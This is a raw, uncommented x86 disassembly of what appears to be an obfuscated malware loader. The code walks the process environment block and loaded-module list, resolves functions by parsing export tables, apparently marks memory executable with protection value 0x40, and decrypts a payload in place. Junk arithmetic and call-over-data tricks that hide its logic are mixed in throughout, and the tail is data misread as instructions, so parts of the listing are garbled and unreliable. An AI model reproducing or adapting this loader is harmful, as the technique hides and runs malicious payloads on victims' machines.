xor ecx, 0xa7a
or ecx, 0x3e76
xor ecx, 0xa030
xor ecx, 0x15bfc
pop ecx
lea eax, [ebp - 0x17c8]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push ebx
add esp, 4
call 0x407a49
add byte [esi], dh
xor al, 0x4d
inc esi
xor edi, dword [edi + eax*2]
aas
add esp, 4
call 0x407a5c
add byte [ecx + 0x3e], al
inc edi
xor ecx, dword [ebx + 0x33]
inc ebp
inc ebp
aas
add esp, 4
jmp 0x407a67
pop esi
mov edx, dword [ebp - 0xccc]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xccc]
add ecx, 2
mov dword [ebp - 0xccc], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xcd0]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcd0]
add edx, 2
mov dword [ebp - 0xcd0], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x3c], ax
push ecx
push ebx
add esp, 4
sub ecx, 0xc92d
sub ecx, 0x8a0d
add ecx, 0x6a7
or ecx, 0xb824
pop ecx
push ecx
xor ecx, 0xbbbe
and ecx, 0x7dfa
and ecx, 0x70bf
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x407b0e
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1670], edx
jmp 0x407b68
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x407a36
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x407a36
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x407b52
mov dword [ebp - 0x162c], 0xffffffff
jmp 0x407b5c
mov dword [ebp - 0x162c], 1
mov ecx, dword [ebp - 0x162c]
mov dword [ebp - 0x1670], ecx
cmp dword [ebp - 0x1670], 0
jne 0x407bb1
push edx
jmp 0x407b78
call 0x407b87
add byte [ebp + 0x4f], cl
dec edi
inc ebp
inc edx
inc edx
dec ebx
dec esi
xor al, byte [ebx - 0x357efb3c]
inc edx
imul eax, dword [eax], 0x3ca8100
sub dword [eax], eax
add byte [edx + 0x52], bl
push esi
add esp, 4
sub edx, 0x1121b
pop edx
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x778], edx
jmp 0x407c19
push ebx
push edi
add esp, 4
add ebx, 0xbda
add ebx, 0x5fef
pop ebx
push esi
push edx
add esp, 4
jmp 0x407bd0
and esi, 0xc84f
pop esi
push edi
push edi
add esp, 4
xor edi, 0x48fc
pop edi
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xcd4]
je 0x407c0f
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x4079da
mov dword [ebp - 0x778], 0
push edx
jmp 0x407c20
sub edx, 0x10314
or edx, 0x4173
and edx, 0x47fc
pop edx
push edi
push ecx
add esp, 4
sub edi, 0x129f8
add edi, 0x1225f
add edi, 0x2ee2
pop edi
cmp dword [ebp - 0x778], 0
jne 0x407c95
push edx
push edi
add esp, 4
xor edx, 0x13ebe
xor edx, 0xa60
add edx, 0x203e
or edx, 0x84bf
pop edx
push ebx
add ebx, 0x15065
xor ebx, 0xa8b8
or ebx, 0x7873
pop ebx
mov dword [ebp - 0xac0], 0
jmp 0x4087bd
push edi
or edi, 0xe0be
and edi, 0x4631
add edi, 0x12acd
pop edi
push ecx
push esi
add esp, 4
add ecx, 0x1e22
add ecx, 0x7893
sub ecx, 0x61ee
sub ecx, 0xcb0d
pop ecx
mov ecx, dword [ebp - 0x778]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1674], eax
cmp dword [ebp - 0x1674], 0
jne 0x407d06
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x407ff7
mov edx, dword [ebp - 0x1674]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1678], eax
jne 0x407d2e
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x407ff7
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1678]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1680], edx
cmp dword [ebp - 0x1680], 0
jne 0x407d60
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
jmp 0x407ff7
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x77c], ecx
jne 0x407d85
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], edx
jmp 0x407ff7
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19d8], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19dc], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19e0], edx
mov dword [ebp - 0x780], 0
jmp 0x407ddf
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x780]
cmp edx, dword [ecx + 0x18]
jae 0x407feb
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19d8]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19dc]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19e0]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19e4], ecx
mov dword [ebp - 0x19c], 0
jmp 0x407e4f
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407f01
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
test eax, eax
je 0x407f01
push eax
push ecx
add esp, 4
sub eax, 0xfc2f
and eax, 0xff26
and eax, 0x9329
xor eax, 0x129d4
pop eax
push edx
push edi
add esp, 4
xor edx, 0xf5e7
pop edx
push eax
and eax, 0xbabb
pop eax
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
cmp edx, ecx
je 0x407ef3
mov edx, dword [ebp - 0x784]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x8a8]
cmp eax, edx
jne 0x407efa
jmp 0x407e40
jmp 0x407f01
push edx
push eax
add esp, 4
jmp 0x407f0e
pop edx
push edi
call 0x407f1c
add byte [ebx], bh
dec ebx
cmp eax, 0x83464450
les eax, [edi + ebx*2]
push edx
push edx
add esp, 4
and edx, 0x1560a
jmp 0x407f32
pop edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
cmp ecx, eax
jne 0x407f60
mov dword [ebp - 0xcd8], 0
jmp 0x407fcf
push eax
jmp 0x407f67
call 0x407f74
add byte [eax], bh
xor eax, 0x3d3d4b39
dec ecx
add esp, 4
pop eax
push edx
and edx, 0xb729
sub edx, 0x1ab5
pop edx
push edx
push ecx
add esp, 4
xor edx, 0x115ce
pop edx
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
or ecx, 0x20
cmp edx, ecx
jge 0x407fc5
mov dword [ebp - 0xcd8], 0xffffffff
jmp 0x407fcf
mov dword [ebp - 0xcd8], 1
cmp dword [ebp - 0xcd8], 0
jne 0x407fe6
mov edx, dword [ebp - 0x19e4]
mov dword [ebp - 0x3fc], edx
jmp 0x407ff7
jmp 0x407dd0
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
je 0x4080d2
push edi
push edi
add esp, 4
xor edi, 0x4349
pop edi
push edi
sub edi, 0xa9ef
pop edi
push edx
xor edx, 0x169dc
jmp 0x408028
jmp 0x40802f
or edx, 0x14147
pop edx
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x19e8], ecx
push edi
push edx
add esp, 4
or edi, 0xe5d6
pop edi
push edi
or edi, 0x1452c
and edi, 0x5299
xor edi, 0x6648
add edi, 0x10c5e
pop edi
push edx
push edx
add esp, 4
sub edx, 0x163d5
pop edx
mov edx, dword [ebp - 0x19e8]
mov dword [ebp - 0x19ec], edx
lea eax, [ebp - 0x1740]
push eax
call dword [ebp - 0x19ec]
test eax, eax
jne 0x4080d2
push edx
and edx, 0xfc62
add edx, 0x6938
pop edx
push edi
jmp 0x4080a8
jmp 0x4080b0
pop edi
push esi
push edx
add esp, 4
add esi, 0x43d
sub esi, 0x1187b
pop esi
mov dword [ebp - 0xac0], 0
jmp 0x4087bd
push ebx
sub ebx, 0x5444
add ebx, 0x6bc1
sub ebx, 0x26a8
pop ebx
push edx
jmp 0x4080ee
sub edx, 0x183a9
call 0x408100
add byte [ebx], dh
inc ecx
xor ecx, dword [eax + 0x3e]
dec esp
add esp, 4
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19f0], ecx
mov edx, dword [ebp - 0x19f0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19f4], eax
mov ecx, dword [ebp - 0x19f4]
mov dword [ebp - 0x1684], ecx
push edx
and edx, 0xff6f
jmp 0x408138
pop edx
push ebx
jmp 0x40813f
or ebx, 0x3f96
add ebx, 0xd05
sub ebx, 0x84b0
pop ebx
push ebx
push eax
add esp, 4
and ebx, 0x5a39
pop ebx
cmp dword [ebp - 0x1684], 0
jne 0x408176
mov dword [ebp - 0x2f4], 0
jmp 0x40841d
mov edx, dword [ebp - 0x1684]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce4], ecx
push edx
push edx
add esp, 4
add edx, 0x154e2
pop edx
push edi
push esi
add esp, 4
or edi, 0x12cde
pop edi
push esi
xor esi, 0x12dbd
and esi, 0x1888
or esi, 0xf103
and esi, 0x11491
pop esi
cmp dword [ebp - 0xce4], 0
jne 0x4081d2
mov dword [ebp - 0x2f4], 0
jmp 0x40841d
mov edx, dword [ebp - 0xce4]
mov dword [ebp - 0x520], edx
push edi
push ecx
add esp, 4
or edi, 0xf3a7
pop edi
push edx
push edx
add esp, 4
or edx, 0x97dd
or edx, 0x7db5
add edx, 0xfea1
add byte [edx + 0x50], bl
sub eax, 0x578f
or eax, 0x1719e
pop eax
lea eax, [ebp - 0x1740]
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0x520]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcdc], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ecx
push esi
add esp, 4
and ecx, 0x14e39
pop ecx
push edi
push edi
add esp, 4
sub edi, 0x308e
and edi, 0x14e26
or edi, 0x872b
xor edi, 0x1412e
pop edi
push esi
xor esi, 0x1652b
pop esi
mov edx, dword [ebp - 0xcdc]
mov ax, word [edx]
mov word [ebp - 0x104a], ax
mov ecx, dword [ebp - 0xcdc]
add ecx, 2
mov dword [ebp - 0xcdc], ecx
mov dx, word [ebp - 0x104a]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xce0]
mov cx, word [eax]
mov word [ebp - 0x104c], cx
mov edx, dword [ebp - 0xce0]
add edx, 2
mov dword [ebp - 0xce0], edx
mov ax, word [ebp - 0x104c]
mov word [ebp - 0x40], ax
push edi
push edi
add esp, 4
or edi, 0xdb27
pop edi
push esi
add esi, 0x5c11
pop esi
push edi
push edi
add esp, 4
xor edi, 0x17d3b
xor edi, 0x8ae4
add edi, 0x11b5b
and edi, 0xf233
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x408312
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x168c], edx
jmp 0x40836c
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x40823a
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x40823a
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x408356
mov dword [ebp - 0x1688], 0xffffffff
jmp 0x408360
mov dword [ebp - 0x1688], 1
mov ecx, dword [ebp - 0x1688]
mov dword [ebp - 0x168c], ecx
cmp dword [ebp - 0x168c], 0
jne 0x4083b5
push edx
push ecx
add esp, 4
jmp 0x408380
pop edx
push edx
call 0x408391
add byte [ecx + 0x46], al
dec ebp
xor edi, dword [ebx]
cmp al, 0x4f
xor eax, 0x4c48348
sub edx, 0x8222
sub edx, 0xbc18
or edx, 0x11fdb
pop edx
mov edx, dword [ebp - 0x520]
mov dword [ebp - 0x2f4], edx
jmp 0x40841d
push edx
push esi
add esp, 4
sub edx, 0xc68f
pop edx
push eax
push edx
add esp, 4
add eax, 0xb398
pop eax
push edx
jmp 0x4083d3
jmp 0x4083da
and edx, 0xdd67
and edx, 0x27a
pop edx
mov eax, dword [ebp - 0x520]
mov ecx, dword [eax]
mov dword [ebp - 0x520], ecx
mov edx, dword [ebp - 0x520]
cmp edx, dword [ebp - 0xce4]
je 0x408413
mov eax, dword [ebp - 0x520]
cmp dword [eax + 0x30], 0
jne 0x4081de
mov dword [ebp - 0x2f4], 0
push esi
or esi, 0x1168c
add esi, 0x1619e
pop esi
push edi
push edi
add esp, 4
add edi, 0x171c3
sub edi, 0x2520
pop edi
push eax
push ebx
add esp, 4
or eax, 0x9754
and eax, 0x16c3
pop eax
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x36c], edx
push ecx
push edi
add esp, 4
call 0x408473
add byte [edx], dh
push eax
inc edi
xor al, byte [edi + 0x3f]
inc ebp
inc ebx
cmp edi, dword [eax]
add esp, 4
jmp 0x40847d
sub ecx, 0xd598
pop ecx
push edx
push edi
add esp, 4
sub edx, 0x9fe3
pop edx
mov dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x1690], eax
cmp dword [ebp - 0x1690], 0
jne 0x4084c0
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x4087b1
mov edx, dword [ebp - 0x1690]
mov eax, dword [ebp - 0x36c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1694], eax
jne 0x4084e8
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x4087b1
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1694]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1698], edx
cmp dword [ebp - 0x1698], 0
jne 0x40851a
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
jmp 0x4087b1
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x1698]
mov dword [ebp - 0x78c], ecx
jne 0x40853f
mov edx, dword [ebp - 0x798]
mov dword [ebp - 0x524], edx
jmp 0x4087b1
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19f8], ecx
mov edx, dword [ebp - 0x78c]
mov eax, dword [ebp - 0x36c]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19fc], eax
mov ecx, dword [ebp - 0x78c]
mov edx, dword [ebp - 0x36c]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a00], edx
mov dword [ebp - 0x790], 0
jmp 0x408599
mov ecx, dword [ebp - 0x78c]
mov edx, dword [ebp - 0x790]
cmp edx, dword [ecx + 0x18]
jae 0x4087a5
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x19f8]
mov edx, dword [ebp - 0x36c]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x794], edx
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x19fc]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1a00]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a04], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x408609
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4086bb
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x9d8]
test eax, eax
je 0x4086bb
push esi
push ebx
add esp, 4
jmp 0x408643
and esi, 0x87c9
pop esi
push esi
push eax
add esp, 4
add esi, 0x14242
or esi, 0x433a
or esi, 0x8175
xor esi, 0x2ce1
pop esi
mov ecx, dword [ebp - 0x794]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x9d8]
cmp edx, ecx
je 0x4086ad
mov edx, dword [ebp - 0x794]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x9d8]
cmp eax, edx
jne 0x4086b4
jmp 0x4085fa
jmp 0x4086bb
push ecx
or ecx, 0x388e
add ecx, 0x12dab
pop ecx
push esi
add esi, 0xeca7
call 0x4086dd
add byte [ebx], bh
inc esp
dec ebx
dec edx
cmp eax, dword ds:[esi - 0x7d]
les eax, [ecx + eax*4]
invalid
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0xac0], ecx
push ebx
call 0x4087cb
add byte [eax + 0x50], cl
inc ebp
cmp byte [eax + 0x3d], cl
dec ecx
add esp, 4
add ebx, 0x2dcf
sub ebx, 0x3a49
pop ebx
push ebx
sub ebx, 0x160c9
pop ebx
push ebx
push eax
add esp, 4
and ebx, 0x10f5b
pop ebx
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x1a08], edx
lea eax, [ebp - 0xcec]
push eax
push 0x40
mov ecx, dword [ebp - 0x169c]
push ecx
mov edx, dword [ebp - 0x3e4]
push edx
call dword [ebp - 0x1a08]
test eax, eax
jne 0x408862
push esi
and esi, 0x1314f
xor esi, 0x1bea
sub esi, 0x155b0
call 0x40883e
add byte [ebp + 0x4f], al
inc edx
aas
cmp eax, 0x83333f3b
les eax, [esi + ebx*2]
push edx
push eax
add esp, 4
xor edx, 0xa9a7
pop edx
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x1a0c], eax
push 0
call dword [ebp - 0x1a0c]
mov ecx, dword [ebp - 0x1a10]
mov dword [ebp - 0x79c], ecx
jmp 0x40887f
mov edx, dword [ebp - 0x79c]
add edx, 1
mov dword [ebp - 0x79c], edx
mov eax, dword [ebp - 0x79c]
cmp eax, dword [ebp - 0xac4]
jae 0x4088db
push ebx
push edx
add esp, 4
xor ebx, 0x1576f
and ebx, 0x74a
and ebx, 0x1708
pop ebx
push ecx
add ecx, 0x89f2
sub ecx, 0x94e1
and ecx, 0xf92e
sub ecx, 0x17419
pop ecx
movzx ecx, byte [ebp - 0x3ed]
mov edx, dword [ebp - 0x79c]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x79c]
mov byte [ecx], al
jmp 0x408870
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x1a14], edx
lea eax, [ebp - 0xcec]
push eax
mov ecx, dword [ebp - 0xcec]
push ecx
mov edx, dword [ebp - 0x169c]
push edx
mov eax, dword [ebp - 0x3e4]
push eax
call dword [ebp - 0x1a14]
test eax, eax
jne 0x408953
push edi
push edx
add esp, 4
jmp 0x408918
or edi, 0x84be
call 0x40892d
add byte [eax + 0x49], al
cmp dh, byte [ebx]
cmp ecx, dword [ecx + 0x50]
inc ecx
inc ecx
add esp, 4
xor edi, 0x11f1e
pop edi
push ecx
and ecx, 0x136b5
pop ecx
mov ecx, dword [ebp - 0x7a0]
mov dword [ebp - 0x1a18], ecx
push 0
call dword [ebp - 0x1a18]
push edx
push edx
add esp, 4
xor edx, 0x1b68
or edx, 0xd8e1
pop edx
push eax
and eax, 0x1002
pop eax
push edi
push ebx
add esp, 4
and edi, 0x8960
or edi, 0x13269
and edi, 0xbeb2
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop ebx
pop ecx
mov ebp, cs
or eax, 0x48440ff4
cmp al, 0x51
pop eax
push esi
arpl word [edi + ebx*2 - 0x74], bx
int 0xd
mov ch, ah
adc dword [ebx + 9], ecx
or esp, esi
cmovbe eax, dword [esi + 0x44]
dec edi
dec eax
cmp eax, 0x90911f1
or dword [ecx], ecx
push ebx
inc esp
cmp eax, 0x554c5845
mov ebp, cs
or eax, 0xb98ecf64
test dword [eax], 0x8ecf5008
mov edx, 0x6e0808f7
iretd